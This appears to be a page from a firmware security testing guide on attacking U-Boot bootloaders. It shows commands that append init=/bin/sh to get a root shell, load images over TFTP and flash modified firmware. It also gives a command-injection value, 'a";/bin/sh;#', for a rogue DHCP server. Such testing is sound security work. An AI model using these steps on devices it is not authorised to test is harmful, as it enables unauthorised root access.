# Bootloader testing

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The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:

1. **Access Bootloader's Interpreter Shell**:
   * During boot, press "0", space, or other identified "magic codes" to access the bootloader's interpreter shell.
2. **Modify Boot Arguments**:
   * Execute the following commands to append '`init=/bin/sh`' to the boot arguments, allowing execution of a shell command: %%% #printenv #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash: rootfstype= hasEeprom=0 5srst=0 init=/bin/sh #saveenv #boot %%%
3. **Setup TFTP Server**:
   * Configure a TFTP server to load images over a local network: %%% #setenv ipaddr 192.168.2.2 #local IP of the device #setenv serverip 192.168.2.1 #TFTP server IP #saveenv #reset #ping 192.168.2.1 #check network access #tftp ${loadaddr} uImage-3.6.35 #loadaddr takes the address to load the file into and the filename of the image on the TFTP server %%%
4. **Utilize `ubootwrite.py`**:
   * Use `ubootwrite.py` to write the U-boot image and push a modified firmware to gain root access.
5. **Check Debug Features**:
   * Verify if debug features like verbose logging, loading arbitrary kernels, or booting from untrusted sources are enabled.
6. **Cautionary Hardware Interference**:
   * Be cautious when connecting one pin to ground and interacting with SPI or NAND flash chips during the device boot-up sequence, particularly before the kernel decompresses. Consult the NAND flash chip's datasheet before shorting pins.
7. **Configure Rogue DHCP Server**:
   * Set up a rogue DHCP server with malicious parameters for a device to ingest during a PXE boot. Utilize tools like Metasploit's (MSF) DHCP auxiliary server. Modify the 'FILENAME' parameter with command injection commands such as `'a";/bin/sh;#'` to test input validation for device startup procedures.

**Note**: The steps involving physical interaction with device pins (\*marked with asterisks) should be approached with extreme caution to avoid damaging the device.

### References

* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)

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